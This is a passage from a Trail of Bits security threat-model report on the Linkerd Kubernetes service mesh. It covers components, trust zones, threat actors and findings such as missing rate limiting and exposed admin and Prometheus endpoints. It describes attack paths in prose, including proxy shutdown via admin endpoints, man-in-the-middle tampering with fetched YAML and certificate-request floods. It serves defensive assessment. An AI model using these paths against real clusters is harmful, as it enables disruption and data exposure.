issues, flaws, or \n defects in the target system or codebase. \n T r a i l o f B i t s 2 Linkerd Threat Model \n C O N F I D E N T I A L \n T a b l e o f Co n t e n t s \n About Trail of Bits 1 \n Notices and Remarks 2 \n Table of Contents 2 \n Executive Summary 5 \n Project Summary 6 \n Project Coverage 7 \n Security Control Maturity Evaluation 8 \n System Diagrams 10 \n Components 11 \n Trust Zones 13 \n Trust Zone Connections 14 \n Threat Actors 21 \n Threat Actor Paths 22 \n Summary of Findings 31 \n Detailed Findings 33 \n 1. Lack of rate-limiting mechanisms in the identity service 33 \n 2. Lack of rate-limiting mechanisms in the destination service 34 \n 3. CLI tool allows the use of insecure protocols when externally sourcing \n infrastructure definitions 35 \n 4. Exposure of admin endpoint may affect application availability 36 \n 5. Go’s pprof endpoints enabled by default in all admin servers 37 \n 6. Lack of access controls on the linkerd-viz dashboard 38 \n 7. Prometheus endpoints reachable from the user application namespace 39 \n T r a i l o f B i t s 3 Linkerd Threat Model \n C O N F I D E N T I A L \n 8. Lack of egress access controls 40 \n 9. Prometheus endpoints are unencrypted and unauthenticated by default 41 \n 10. Shared identity and destination services in a cluster poses risks to \n multi-application clusters 42 \n 11. Lack of isolation between components and their sidecar proxies 43 \n 12. Lack of centralized security best practices documentation 44 \n 13. Unclear distinction between Linkerd and Linkerd2 in official Linkerd blog post \n guidance 45 \n 14. Insufficient logging of outbound HTTPS calls 46 \n A. Methodology 47 \n B. Security Controls and Rating Criteria 48 \n T r a i l o f B i t s 4 Linkerd Threat Model \n C O N F I D E N T I A L \n E x e c u t i v e S u m m a r y \n E n g a g em en t O v er v i e w \n The Linux Foundation engaged Trail of Bits to create a component-focused threat model of \n its Linkerd project. From February 7 to February 11, 2022, a team of two consultants \n scheduled four meetings over two person-weeks of effort to evaluate relevant components \n and the architectural design of the project. Details of the project’s timeline, test targets, and \n coverage are provided in subsequent sections of this report. \n P r o j ec t S c o p e \n Our assessment focused on the identification of security control flaws that could result in a \n compromise of confidentiality, integrity, or availability of the target system, especially with \n respect to the controls noted in the category breakdown table below. An exhaustive list of \n security control types and their definitions can be found in appendix B . \n S u m m a r y o f F i n d i n g s \n While preparing the threat model, we uncovered some flaws that could impact system \n confidentiality, integrity, availability. A summary of findings is provided below. \n F I N D I N G S B Y S E V E R I T Y \n Severity Count \n Medium 3 \n Low 8 \n Inform ational 3 F I N D I N G S B Y CO N T R O L T Y P E \n Category Count \n Access Control 4 \n Audit and Accountability 2 \n Awareness and Training 4 \n Denial of Service 2 \n System and \n Communications Protection 2 \n T r a i l o f B i t s 5 Linkerd Threat Model \n C O N F I D E N T I A L \n P r o j e c t S u m m a r y \n C o n t a c t I n f o r m a t i o n \n The following managers were associated with this project: \n Dan Guido , Account Manager Cara Pearson , Project Manager \n dan@trailofbits.com cara.pearson@trailofbits.com \n The following engineers were associated with this project: \n Alex Useche , Consultant David Pokora , Consultant \n alex.useche@trailofbits.com david.pokora@trailofbits.com \n P r o j ec t T i m el i n e \n The significant events and milestones of the project are listed below. \n Date Event \n January 27, 2022 Pre-project kickoff call \n February 8, 2022 Discovery meeting #1 \n February 9, 2022 Discovery meeting #2 \n February 10, 2022 Discovery meeting #3 \n February 11, 2022 Discovery meeting #4 \n February 18, 2022 Delivery of report draft and report readout meeting \n May 2, 2022 Delivery of revised report \n T r a i l o f B i t s 6 Linkerd Threat Model \n C O N F I D E N T I A L \n P r o j e c t Co v e r a g e \n During a threat modeling assessment, engineers generally aim to cover the entire target \n system as a coherent whole. In some cases, however, certain components may be either \n unnecessary to examine or impossible to review thoroughly. \n E x c l u s i o n s \n The following components were explicitly excluded from the assessment scope: \n ● Multi-cluster configurations. Multi-cluster configurations require cluster operators \n to perform a series of tasks to enable a service mesh across multiple Kubernetes \n clusters. This setup adds a number of variables that significantly increase the \n complexity of the threat model. As a result, and due to time constraints, \n multi-cluster configurations were considered out of scope for this assessment. \n ● Other extensions. Other extensions outside of the linkerd-viz namespace, such \n as Jaeger and those used for tracing, were not considered as part of the threat \n model. \n L i m i t a t i o n s \n Because of the time-boxed nature of testing work, it is common to encounter coverage \n limitations. During this project, we were unable to perform comprehensive review of the \n following components, which may warrant further review: \n ● linkerd-viz extensions. Operators can enable a number of extensions used for \n metrics and diagnostics, including Prometheus metrics, TAP diagnostics, Grafana \n dashboards, and a web UI. The extensions are deployed as individual pods in the \n linkerd-viz namespace. Due to time constraints, we could not model the \n extensions individually; instead, we grouped them under a single abstract \n component called “ linkerd-viz extensions,” for which we achieved only partial \n coverage. \n T r a i l o f B i t s 7 Linkerd Threat Model \n C O N F I D E N T I A L \n S e c u r i t y Co n t r o l M a t u r i t y E v a l u a t i o n \n Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of \n the areas in which its security controls are mature, immature, or underdeveloped. See \n appendix B for a detailed description of each category. \n Category Summary Result \n Access Controls Linkerd relies on mTLS provided by sidecar proxies for \n most authorization controls between components. \n Outside of mTLS, cluster operators rely on fine-grained \n Kubernetes role-based access controls to restrict access to \n some components, such as linkerd-viz dashboards and \n Prometheus metrics. \n Although most access controls are appropriate for the \n current architectural design, we believe that isolating \n components more granularly and implementing access \n controls for some APIs, such as proxy admin and metrics \n endpoints, may result in a stronger security posture. Moderate \n Audit and \n Accountability Every component enables at least INFO level logging to \n STDOUT . Operators can enable other extensions to obtain \n metrics and diagnostics data for Linkerd components (e.g., \n linkerd-viz and Jaeger extensions). Satisfactory \n Awareness and \n Training Linkerd provides general guidance on securing a \n Kubernetes cluster and technical guidance on performing \n various tasks throughout the Linkerd documentation. \n Buoyant also provides general guidance on Linkerd \n security. However, there is no centralized and \n comprehensive security documentation that enumerates \n common misconfigurations and system caveats. Moderate \n Denial of Service A number of basic controls that aid in mitigating \n denial-of-service conditions, such as timeouts and retries, \n are in place. However, there is no support for rate-limiting \n controls. Moderate \n Identification \n and \n Authorization Components that are part of the Linkerd infrastructure \n must obtain a certificate from the identity controller in \n order to communicate and authenticate via mTLS through Satisfactory \n T r a i l o f B i t s 8 Linkerd Threat Model \n C O N F I D E N T I A L \n their sidecar proxies. \n System and \n Communication \n s Protection Due to the use of mTLS and Kubernetes role-based access \n controls, Linkerd’s system and communication protection \n is satisfactory. However, as indicated under the “Access \n Controls” category, we believe that isolating components \n more granularly and implementing access controls and \n encryption for some APIs, such as proxy admin and \n metrics endpoints, may result in a stronger security \n posture. \n Regarding encryption, TLS communications are enforced \n for pod-to-pod communications. However, plain HTTP \n communications from external endpoints to the cluster \n could occur if an operator uses port forwarding to forward \n endpoints such as the dashboard to the network. Moderate \n T r a i l o f B i t s 9 Linkerd Threat Model \n C O N F I D E N T I A L \n S y s t e m D i a g r a m s \n The following diagram depicts the relationships between the target system’s various \n components and trust zones, as well as the paths that threat actors could take within them. \n Linkerd system diagram \n T r a i l o f B i t s 10 Linkerd Threat Model \n C O N F I D E N T I A L \n Co m p o n e n t s \n Linkerd is a lightweight service mesh for Kubernetes. Linkerd provides features to route \n messages between complex infrastructural components with ease and to improve system \n observability. Proxies in the form of containers are injected into user-application pods, \n while init containers are used to route application traffic to the proxies. To communicate \n securely between each other, these proxies look up relevant certificate information from \n “identity” containers and routing information from “destination” containers. Linkerd also \n offers load balancing functionality for outgoing traffic. \n Component Description \n Command-Line \n Interface (CLI) \n Tool The CLI is used to configure an existing Kubernetes deployment with \n Linkerd. With the CLI, users can set up relevant service accounts, run \n health checks on deployments, and annotate pods housing user \n applications that should have Linkerd proxies installed. The CLI does not \n deploy applications directly, but rather modifies an application’s YAML file, \n which will be deployed with kubectl . \n kubectl The kubectl command is used to deploy CLI-modified YAML definitions to \n integrate Linkerd with an application. \n proxy-injector The proxy-injector is a single Kubernetes controller per cluster used to \n monitor pods for annotations indicating that Linkerd proxies should be \n installed. When it discovers such annotations, the proxy-injector \n configures the proxy-init and linkerd-proxy containers into the \n relevant pod to begin routing traffic appropriately. \n proxy-init The proxy-init is a Kubernetes init container used to configure IP tables \n for a given application in a pod. This container starts and exits before the \n application container runs to ensure traffic is routed to the \n linkerd-proxy . Each component in the Linkerd control and data planes \n also has its own proxy, each of which is deployed as a container in its \n respective pod. \n linkerd-proxy The linkerd-proxy is a Kubernetes container injected into an application \n pod by the proxy-injector , accepts traffic routed from the application, \n and queries the identity and destination containers to route traffic to the \n intended destination, leveraging mTLS for communication when possible. \n The linkerd-proxy is included in the initial Linkerd deployment for \n components such as the proxy-injector and the destination and \n identity services. Proxies also offer load balancing for each application \n T r a i l o f B i t s 11 Linkerd Threat Model \n C O N F I D E N T I A L \n pod. \n Identity Service The identity service is a single Kubernetes pod per cluster; it maintains \n certificate information for components managed by Linkerd proxies. It acts \n as a TLS certificate authority that accepts CSRs from proxies and returns \n signed certificates. The identity service is issued at proxy initialization time \n and is used for proxy-to-proxy connections to implement mTLS. \n Destination \n Service The destination service is a single Kubernetes pod per cluster that \n maintains connection routing information for proxied traffic. \n User Applications This component refers to user-deployed Kubernetes applications that can \n be integrated with Linkerd. \n linkerd-viz \n Extensions The linkerd-viz Kubernetes namespace includes a number of \n diagnostics and metrics extensions that can be added to a \n Linkerd-integrated Kubernetes deployment, including the TAP injector, the \n web UI, and Prometheus metrics. \n External Services External services are those that do not live in the Kubernetes environment \n but are reachable by application pods. For instance, an external service \n could be a public server or a service hosted on a local machine/network. \n T r a i l o f B i t s 12 Linkerd Threat Model \n C O N F I D E N T I A L \n T r u s t Z o n e s \n Systems include logical “trust boundaries” or “zones” in which components may have \n different criticality or sensitivity. Therefore, to further analyze a system, we decompose \n components into zones based on shared criticality rather than physical placement in the \n system. Trust zones capture logical boundaries in which controls should or could be \n enforced by the system and that allow designers to implement interstitial controls and \n policies between zones of components as needed. \n Zone Description Included Components \n External This zone comprises external \n components that do not live in the \n Kubernetes environment, such as \n external websites and locally run \n tools. ● CLI Tool \n ● kubectl \n ● External Services \n User Application \n Namespaces This zone comprises the underlying \n components of user applications, \n including components that Linkerd \n injects into the application \n namespaces to facilitate proxying. ● User Applications \n ● proxy-init \n ● linkerd-proxy \n Linkerd Namespace This zone describes components in \n the Linkerd namespace that are \n shared among pods within a cluster. \n These components help install \n Linkerd components into user \n applications and record routing \n information for underlying proxies. ● proxy-injector \n (controller) \n ● linkerd-proxy \n ● Identity Service \n (controller) \n ● linkerd-proxy \n ● Destination Service \n (controller) \n ● linkerd-proxy \n linkerd-viz \n Namespace This zone comprises extensions that \n collect metrics and provide \n diagnostics information for \n Linkerd-integrated Kubernetes \n deployments. ● linkerd-viz Extensions \n T r a i l o f B i t s 13 Linkerd Threat Model \n C O N F I D E N T I A L \n T r u s t Z o n e Co n n e c t i o n s \n At a design level, trust zones are delineated by the security controls that enforce the \n differing levels of trust within each zone. Therefore, it is necessary to ensure that data \n cannot move between trust zones without first satisfying the intended trust requirements \n of its destination. We enumerate such connections between trust zones below. \n Originating \n Zone Destination \n Zone Data Description Connection \n Type Authentication \n Type \n External External The “check” \n command returns \n the latest version of \n Linkerd from \n linkerd.io . HTTPS TLS \n The “inject” \n command pulls a \n YAML file from a \n given URL. URI-specified \n protocol (HTTP, \n HTTPS, etc.) URI-specified \n protocol ( None , \n TLS, etc.) \n External User \n Application \n Namespaces User application \n containers can \n interact with \n arbitrary external \n services (e.g., \n GitHub). * * \n The CLI tool modifies \n infrastructural YAML \n definitions for \n kubectl to deploy. \n When kubectl \n deploys these \n definitions, Linkerd is \n integrated into \n relevant \n infrastructural \n components over the \n Kubernetes API. HTTP, HTTPS None , TLS \n T r a i l o f B i t s 14 Linkerd Threat Model \n C O N F I D E N T I A L \n External Linkerd \n Namespace The CLI tool modifies \n infrastructural YAML \n definitions for \n kubectl to deploy. \n When kubectl \n deploys these \n definitions, Linkerd is \n integrated into \n relevant \n infrastructural \n components over the \n Kubernetes API. \n This includes control \n of trusted root and \n webhook certificates. HTTP, HTTPS None , TLS \n External linkerd-viz \n Namespace Users can reach the \n web UI if the \n dashboard is \n enabled and \n exposed outside of \n the localhost. HTTP (external \n to \n linkerd-viz \n proxies) None \n Linkerd \n Namespace External The Heartbeat cron \n job contacts \n linkerd.io with \n runtime telemetry; \n telemetry is enabled \n by default. HTTPS TLS \n (terminated by \n CloudFlare) \n Linkerd \n Namespace User \n Application \n Namespaces The \n proxy-injector \n injects proxy \n components into \n annotated pods in \n user application \n namespaces through \n patches provided to \n the Kubernetes API. HTTPS TLS \n The identity service \n acts as a certificate gRPC One-way TLS, \n then mTLS \n T r a i l o f B i t s 15 Linkerd Threat Model \n C O N F I D E N T I A L \n authority and signs \n CSRs for proxies. after the \n certificate is \n obtained from \n the identity \n service \n The destination \n service provides \n routing information \n for linkerd-proxy \n sidecars. Proxies \n query this \n information \n (read-only). \n A race condition \n could cause some \n traffic to be \n one-way/partially \n TLS-encrypted until \n certificates are \n exchanged. gRPC One-way TLS, \n then mTLS \n after the \n certificate is \n obtained from \n the identity \n service \n Linkerd \n Namespace Linkerd \n Namespace All components \n within this trust zone \n reach out to the \n identity provider to \n be able to \n communicate. gRPC mTLS \n Outbound \n connections go \n through the \n Kubernetes API \n server and may hit \n the destination \n controller to resolve \n routing information. gRPC mTLS \n Linkerd \n Namespace linkerd-viz \n Namespace Proxies in the \n Linkerd namespace HTTPS mTLS \n T r a i l o f B i t s 16 Linkerd Threat Model \n C O N F I D E N T I A L \n issue responses \n returned from \n queries made by \n linkerd-viz \n components. \n User \n Application \n Namespaces External User application \n containers can \n interact with \n arbitrary external \n services with or \n without the use of \n Linkerd proxies. \n Proxies record TCP \n metrics for \n connections (number \n of times connected, \n etc.). * * \n User \n Application \n Namespaces User \n Application \n Namespaces A user application \n maintains two-way \n communication with \n another application \n through its sidecar \n proxy \n ( linkerd-proxy ), as \n defined by IP tables \n configured earlier by \n the proxy-init \n container. \n Only TCP traffic can \n be proxied. TCP * \n The linkerd-proxy \n exposes admin \n endpoints on the \n localhost to perform \n actions such as \n shutting down the \n machine or checking \n the logging settings. HTTPS mTLS \n T r a i l o f B i t s 17 Linkerd Threat Model \n C O N F I D E N T I A L \n User \n Application \n Namespaces Linkerd \n Namespace When a user \n application’s sidecar \n proxy \n ( linkerd-proxy ) is \n first launched, it \n reaches out to the \n identity provider for \n a new certificate. \n It then reaches out \n to the identity \n provider periodically \n for certificate \n rotation. \n The lifetime of a \n certificate is 24 hours \n by default. gRPC One-way TLS, \n then mTLS \n after the \n certificate is \n obtained from \n the identity \n service. \n A user application’s \n sidecar proxy \n ( linkerd-proxy ) \n reaches out to the \n destination provider \n for \n routing information. \n The proxy also \n reaches out to the \n destination provider \n for the inbound \n authorization policy \n at startup. gRPC One-way TLS, \n then mTLS \n after the \n certificate is \n obtained from \n the identity \n service. \n User \n Application \n Namespaces linkerd-viz \n Namespace linkerd-viz \n extensions inject a \n TAP server \n component into the \n user application \n namespace. The user \n application reads \n config maps from \n the linkerd-viz \n namespace to \n provide diagnostics HTTPS TLS \n T r a i l o f B i t s 18 Linkerd Threat Model \n C O N F I D E N T I A L \n data. \n linkerd-viz \n endpoints are \n reachable from the \n user application \n namespace. HTTP None for \n Prometheus \n endpoints \n Namespace \n validation for \n web endpoints \n linkerd-viz \n Namespace External The web UI serves a \n front end to clients, \n and JavaScript makes \n calls to external \n content services. HTTP None \n Prometheus can \n export metrics to \n external services. \n Grafana can send \n data to external \n Grafana APIs. HTTPS TLS \n Authentication \n controls \n imposed by \n external \n services \n linkerd-viz \n Namespace User \n Application \n Namespaces linkerd-viz \n extensions reach out \n to user application \n namespace pods to \n collect metrics and \n diagnostics data via \n their respective \n admin server \n endpoints. \n When TAP is \n enabled, a TAP \n injector injects TAP \n controllers in user \n application pods. HTTPS mTLS \n linkerd-viz \n Namespace Linkerd \n Namespace linkerd-viz \n extensions query \n Linkerd namespace \n proxies for metrics HTTPS TLS \n T r a i l o f B i t s 19 Linkerd Threat Model \n C O N F I D E N T I A L \n data. \n The web container \n reaches out to the \n Linkerd namespace \n to read config maps. \n The TAP controller \n reaches out to \n proxies in the \n Linkerd namespace \n for diagnostics data. gRPC mTLS \n linkerd-viz \n proxies obtain \n routing data from \n the destination \n controller and \n identities from the \n identity controller. gRPC mTLS \n linkerd-viz \n Namespace linkerd-viz \n Namespace linkerd-viz \n extensions reach out \n to their own proxies \n when querying \n metrics data. HTTPS TLS \n The TAP controller \n reaches out to \n proxies in \n linkerd-viz for \n diagnostics data. gRPC TLS \n The web container \n reaches out to the \n Prometheus \n container to obtain \n and display metrics \n data in the \n dashboard. HTTPS TLS \n Linkerd \n authorization \n policies \n (inbound) \n T r a i l o f B i t s 20 Linkerd Threat Model \n C O N F I D E N T I A L \n T h r e a t A c t o r s \n Similarly to establishing trust zones, defining malicious actors before conducting a threat \n model is useful in determining which protections, if any, are necessary to mitigate or \n remediate a vulnerability. Additionally, we define other “users” of the system who may be \n impacted by, or induced to undertake, an attack. For example, in a confused deputy attack \n such as cross-site request forgery, a normal user could be both the victim and the direct \n attacker, even if the user were induced to undertake the action by a secondary attacker. \n We will refer to these actors in the descriptions of the findings uncovered by creating the \n threat modeling process. \n Actor Description \n Internal Attacker An attacker who has transited one or more trust boundaries, such \n as an attacker with cluster access \n E xternal Attacker An attacker who is external to the cluster and is unauthenticated, \n such as an attacker with control over external services \n Infrastructure Operator An administrator tasked with operating and maintaining \n infrastructure within one or many of the namespaces of a \n Linkerd-integrated cluster \n Application User An end user who accesses meshed applications \n T r a i l o f B i t s 21 Linkerd Threat Model \n C O N F I D E N T I A L \n T h r e a t A c t o r P a t h s \n Additionally, defining attackers’ paths through the various zones is useful when analyzing \n potential controls, remediations, and mitigations that exist in the current architecture. \n Originating \n Zone Destination \n Zone Actor Description \n Any Any Internal \n Attacker Internal attackers may have existing \n privileges or access to a wide range of \n resources, such as the Kubernetes \n cluster that hosts Linkerd and user \n application namespace infrastructure. \n They may also be able to obtain signed \n mTLS certificates from the identity \n provider to communicate with other \n components within the system. \n Therefore, for strong non-repudiation \n of actions, controls must be in place to \n log all actions within the system and to \n ensure that actors are authorized to \n undertake certain actions. \n E xternal \n Attacker External attackers may target any \n exposed paths within the Linkerd or \n user application namespaces. Proxied \n connections and endpoints are \n managed by the infrastructure \n operator and are exposed as needed. \n Documentation should describe best \n practices when configuring forwarding \n rules and Kubernetes access controls \n separating trust boundaries. This will \n deter external attackers from \n transiting trust boundaries. \n Infrastructure \n Operator Operators may misconfigure Linkerd \n or user application services such that \n they do not allow actors to access \n them as expected. \n To mitigate such concerns, errors in \n T r a i l o f B i t s 22 Linkerd Threat Model \n C O N F I D E N T I A L \n the system should be logged \n accordingly to provide an audit trail \n alongside extensive administrator \n documentation. \n Application \n User An application user may interact with \n an exposed user application in any \n number of ways. Therefore, the \n availability or integrity of any user \n application may be at risk. \n It is important for Linkerd to employ \n access controls for isolation and to log \n events so that an audit trail is available \n in the event of an attack or system \n deficiency. \n External External Internal \n Attacker An internal attacker with access to \n external services such as linkerd.io \n servers can misreport version checks \n made by the CLI tool, install backdoors \n in distributions, or otherwise affect \n users in a number of ways without \n immediate access to a cluster. \n External \n Attacker An external attacker may attempt to \n intercept communications between \n the CLI tool and external services if \n connections are insecure. The CLI tool \n may load YAML files from an external \n source during configuration. If \n insecure protocols such as HTTP are \n specified in the URI path, an external \n attacker may manipulate traffic to \n inject malicious payloads into the \n underlying Kubernetes infrastructure. \n Best practices regarding the use of \n external configuration files within \n Linkerd should be described in the \n documentation. This will decrease the \n risk of the use of insecure protocols. \n External User Internal User applications may decide to route \n T r a i l o f B i t s 23 Linkerd Threat Model \n C O N F I D E N T I A L \n Application \n Namespaces Attacker proxied or unproxied connections to \n arbitrary external services. User \n applications are responsible for \n effectively and appropriately \n leveraging authentication, \n cryptography, data validation, and \n Kubernetes access controls to prevent \n lateral movement across namespaces. \n Care must be taken not to expose \n critical endpoints to the user \n application’s sidecar proxy admin \n endpoints to the outside world, as \n they can be used to shut down the \n proxy, leak metrics, or perform \n denial-of-service attacks. \n Infrastructure \n Operator User applications share a pod with \n their sidecar proxies and respective \n init containers. Therefore, operators of \n user application infrastructure should \n be aware that if a user application is \n compromised, lateral components \n such as the sidecar proxy could also \n be compromised. This may expose \n routing information and certificates \n within the namespace. \n Effective logging is crucial for \n maintaining an audit trail for such \n scenarios. \n External Linkerd \n Namespace Internal \n Attacker An internal attacker with access to an \n external service that hosts an \n infrastructure operator’s YAML files \n may be able to manipulate the \n underlying infrastructure. The \n documentation should note that \n accepting external configurations from \n arbitrary sources is always risky. \n External \n Attacker If the specified connection protocol is \n insecure, an external attacker without \n access to any external service may \n T r a i l o f B i t s 24 Linkerd Threat Model \n C O N F I D E N T I A L \n perform a man-in-the-middle attack \n against the CLI tool as it fetches \n infrastructural YAML definitions. The \n documentation should note the \n insecure protocols that are accepted \n by the CLI tool, which should be used \n with caution. \n External linkerd-viz \n Namespace External \n Attacker An external attacker can conduct \n supply chain attacks to compromise \n the confidentiality of data provided by \n linkerd-viz APIs and extensions. \n For instance, an attacker could modify \n JavaScript libraries used by \n linkerd-viz components for UI \n dashboards. \n An attacker may be able to reach \n linkerd-viz APIs externally via a \n number of common web application \n attacks, such as cross-site scripting, \n cross-site request forgery, and \n clickjacking. \n Infrastructure \n Operator Infrastructure operators must ensure \n that they do not unintentionally \n expose linkerd-viz applications \n externally, and they must understand \n the risks inherent in exposing \n linkerd-viz related data. This is \n especially important given that \n linkerd-viz components such as \n the web UI do not require \n authorization once exposed. \n User \n Application \n Namespaces External Internal \n Attacker An internal attacker could exploit \n external services by leveraging \n connections to them from user \n applications. \n For instance, if a Linkerd-integrated \n user application connects to a remote \n web server, an internal attacker could \n send malicious payloads to the server \n T r a i l o f B i t s 25 Linkerd Threat Model \n C O N F I D E N T I A L \n through such a connection. \n User \n Application \n Namespaces User \n Application \n Namespaces Internal \n Attacker An internal attacker can disable an \n application’s sidecar proxy, effectively \n bringing the user application offline. \n This can be done by exposing admin \n endpoints on the sidecar proxy. \n Exposing admin endpoints can also \n expose proxy metrics and other \n potentially sensitive information. \n Infrastructure \n Operator Infrastructure operators must ensure \n that appropriate logging procedures \n are in place; logs can serve as an audit \n trail in the event of an attack. Logs can \n help determine whether two \n components have tried to \n communicate inappropriately, \n indicating that the pod may have been \n compromised. \n User \n Application \n Namespaces Linkerd \n Namespace Internal \n Attacker An internal attacker could send \n requests to the destination and \n identity controllers to try to perform a \n denial-of-service attack against them. \n For instance, if an attacker changes \n the availability of an application, \n causing updates to be made in the \n destination controller, and \n continuously requests a newly signed \n certificate (as if he were a new proxy \n initializing for the first time), the \n identity service would be forced to \n perform signing operations for the \n attacker. \n This highlights the need for \n appropriate logging within the Linkerd \n namespace to prevent such attacks \n and for access controls to ensure that \n routing information for unrelated \n pods or containers cannot be \n obtained. \n T r a i l o f B i t s 26 Linkerd Threat Model \n C O N F I D E N T I A L \n Additionally, the documentation \n should describe best practices \n regarding the use of Kubernetes \n access controls to ensure that lateral \n movement across namespaces is not \n possible. \n Infrastructure \n Operator Infrastructure operators must ensure \n that they maintain restrictive access \n controls, limiting access to admin \n endpoints and other services that \n could increase the attack surface area \n or interrupt the availability of the \n system. \n Additionally, they must be conscious \n of access controls and namespace \n isolations so as not to allow lateral \n movement across namespaces. \n User \n Application \n Namespaces linkerd-viz \n Namespace Internal \n Attacker Internal attackers with access that is \n restricted to the application \n namespace could reach Prometheus \n endpoints to obtain metrics data that \n could give them insight into other \n cluster components that they would \n not otherwise have visibility into. \n External \n Attacker If an external attacker finds a \n vulnerability in an application in the \n user application namespace that gives \n her access to the application server, \n she can call the Prometheus API to \n obtain information about other \n resources in the cluster. \n Linkerd \n Namespace External Internal \n Attacker An internal attacker with access to the \n Linkerd namespace may be able to \n change certificate and routing \n information stored within the identity \n and destination services, respectively. \n This could prevent traffic from \n reaching the intended external \n services. \n T r a i l o f B i t s 27 Linkerd Threat Model \n C O N F I D E N T I A L \n Infrastructure \n Operator An operator may unintentionally \n expose access to the sidecar proxies \n for the identity, destination, and \n proxy-injector controllers, allowing \n external traffic to be routed into the \n proxy and exposing the admin panel \n to the outside world. \n Kubernetes access controls must be \n managed appropriately to prevent \n lateral movement within the cluster. \n Linkerd \n Namespace User \n Application \n Namespaces Internal \n Attacker An internal attacker with access to the \n Linkerd namespace may be able to \n change certificate and routing \n information stored within the identity \n and destination services, respectively. \n This could expose user application \n traffic to unintended parties and could \n leak sensitive secrets. \n Furthermore, an internal attacker with \n access to the Linkerd namespace may \n be able to inject malicious \n components into the user application \n namespaces, as the proxy-injector \n does. This could compromise the user \n application namespaces. \n Linkerd \n Namespace Linkerd \n Namespace Internal \n Attacker An internal attacker may obtain access \n to certificates or destination routing \n information for Linkerd \n proxy–integrated components within \n the cluster. An attacker may also be \n able to change routing information to \n leak sensitive application data or to \n break Linkerd controllers across the \n cluster. \n An internal attacker may also access \n sidecar proxy admin shutdown \n endpoints, which may affect service \n availability. \n T r a i l o f B i t s 28 Linkerd Threat Model \n C O N F I D E N T I A L \n Linkerd \n Namespace linkerd-viz \n Namespace Internal \n Attacker An internal attacker who is able to \n forward ports for services running in \n the Linkerd namespace may be able to \n shut down control plane proxies, \n preventing the linkerd-viz \n extensions from querying Linkerd \n control plane components for metrics \n data. \n linkerd-viz \n Namespace External Internal \n Attacker An internal attacker with the ability to \n configure external connections for the \n Prometheus and Grafana extensions \n could modify their configurations so \n that they communicate with \n attacker-controlled endpoints, \n allowing the attacker to collect cluster \n metrics that could be useful when \n formulating attacks. \n linkerd-viz \n Namespace User \n Application \n Namespaces Internal \n Attacker An internal attacker could \n compromise the TAP injector, allowing \n her to leak user application data and \n compromise pods in the user \n application namespaces. \n linkerd-viz \n Namespace Linkerd \n Namespace Internal \n Attacker An internal attacker could \n compromise the TAP injector to \n modify annotations made to proxies in \n the Linkerd namespace, allowing him \n to compromise the proxies and \n potentially disable communication \n with control plane components. \n linkerd-viz \n Namespace linkerd-viz \n Namespace Internal \n Attacker An internal attacker who is able to \n forward ports for the linkerd-viz \n endpoint may be able to disable \n linkerd-viz proxies by leveraging \n the shutdown admin endpoint \n exposed on the sidecar proxies, \n effectively removing the ability to \n collect metrics and diagnostics data \n typically provided by linkerd-viz \n extensions. \n T r a i l o f B i t s 29 Linkerd Threat Model \n C O N F I D E N T I A L \n Infrastructure \n Operator An infrastructure operator must \n ensure that linkerd-viz extensions \n are not exposed on the internet, as \n the exposure of a linkerd-viz \n extension could affect the availability \n of other components within the same \n linkerd-viz namespace. Operators \n should be careful to minimize the \n exposed attack surface area. \n T r a i l o f B i t s 30 Linkerd Threat Model \n C O N F I D E N T I A L \n S u m m a r y o f F i n d i n g s \n The table below summarizes the findings of the review, including type and severity details. \n ID Title Type Severity \n 1 Lack of rate-limiting mechanisms in the identity \n service Denial of \n Service Low \n 2 Lack of rate-limiting mechanisms in the \n destination service Denial of \n Service Low \n 3 CLI tool allows the use of insecure protocols when \n externally sourcing infrastructure definitions Awareness and \n Training Medium \n 4 Exposure of admin endpoint may affect \n application availability Awareness and \n Training Medium \n 5 Go’s pprof endpoints enabled by default in all \n admin servers Audit and \n Accountability Inform ational \n 6 Lack of access controls on the linkerd-viz \n dashboard Access Controls Low \n 7 Prometheus endpoints reachable from the user \n application namespace Access Controls Low \n 8 Lack of egress access controls Access Controls Low \n 9 Prometheus endpoints are unencrypted and \n unauthenticated by default Access Controls Low \n 10 Shared identity and destination services in a \n cluster poses risks to multi-application clusters System and \n Communication \n s Protection Medium \n 11 Lack of isolation between components and their \n sidecar proxies System and \n Communication \n s Protection Low \n T r a i l o f B i t s 31 Linkerd Threat Model \n C O N F I D E N T I A L \n 12 Lack of centralized security best practices \n documentation Awareness and \n Training Inform ational \n 13 Unclear distinction between Linkerd and Linkerd2 \n in official Linkerd blog post guidance Awareness and \n Training Inform ational \n 14 Insufficient logging of outbound HTTPS calls Audit and \n Accountability Low \n T r a i l o f B i t s 32 Linkerd Threat Model \n C O N F I D E N T I A L \n D e t a i l e d F i n d i n g s \n 1 . L a c k o f r a t e - l i m i t i n g m e c h a n i s m s i n t h e i d e n t i t y s e r v i c e \n Severity: Low Difficulty: High \n Type: Denial of Service Finding ID: TOB-LKDTM-1 \n Target: Identity service \n D e s c r i p t i on \n The identity service issues signed certificates to sidecar proxies within Linkerd-integrated \n infrastructure. When proxies initialize for the first time, they request a certificate from the \n identity service. However, the identity service lacks sufficient rate-limiting mechanisms, \n which may make it prone to denial-of-service attacks. \n Because identity controllers are shared among pods in a cluster, denial of service of an \n identity controller may affect the availability of applications across the cluster. \n T h r e a t S c e n a r i o \n An attacker obtains access to the sidecar proxy in one of the user application namespaces. \n Due to the lack of rate-limiting mechanisms within the identity service, the proxy can now \n repeatedly request a newly signed certificate as if it were a proxy sidecar initializing for the \n first time. \n R e c om m e n d a t i on s \n Short term, add rate-limiting mechanisms to the identity service to prevent a single pod \n from requesting too many certificates or performing other computationally intensive \n actions. \n Long term, ensure that appropriate rate-limiting mechanisms exist throughout the \n infrastructure to prevent denial-of-service attacks. Where possible, implement stricter \n access controls to ensure that components cannot interact with APIs more than necessary. \n Additionally, ensure that the system sufficiently logs events so that an audit trail is available \n in the event of an attack. \n T r a i l o f B i t s 33 Linkerd Threat Model \n C O N F I D E N T I A L \n 2 . L a c k o f r a t e - l i m i t i n g m e c h a n i s m s i n t h e d e s t i n a t i o n s e r v i c e \n Severity: Low Difficulty: High \n Type: Denial of Service Finding ID: TOB-LKDTM-2 \n Target: Destination service \n D e s c r i p t i on \n The destination service contains traffic-routing information for sidecar proxies within \n Linkerd-integrated infrastructure. However, the destination service lacks sufficient \n rate-limiting mechanisms, which may make it prone to denial-of-service attacks if a pod \n repeatedly changes its availability status. \n Because destination controllers are shared among pods in a cluster, denial of service of a \n destination controller may affect the availability of applications across the cluster. \n T h r e a t S c e n a r i o \n An attacker obtains access to the sidecar proxy in one of the user application namespaces. \n Due to the lack of 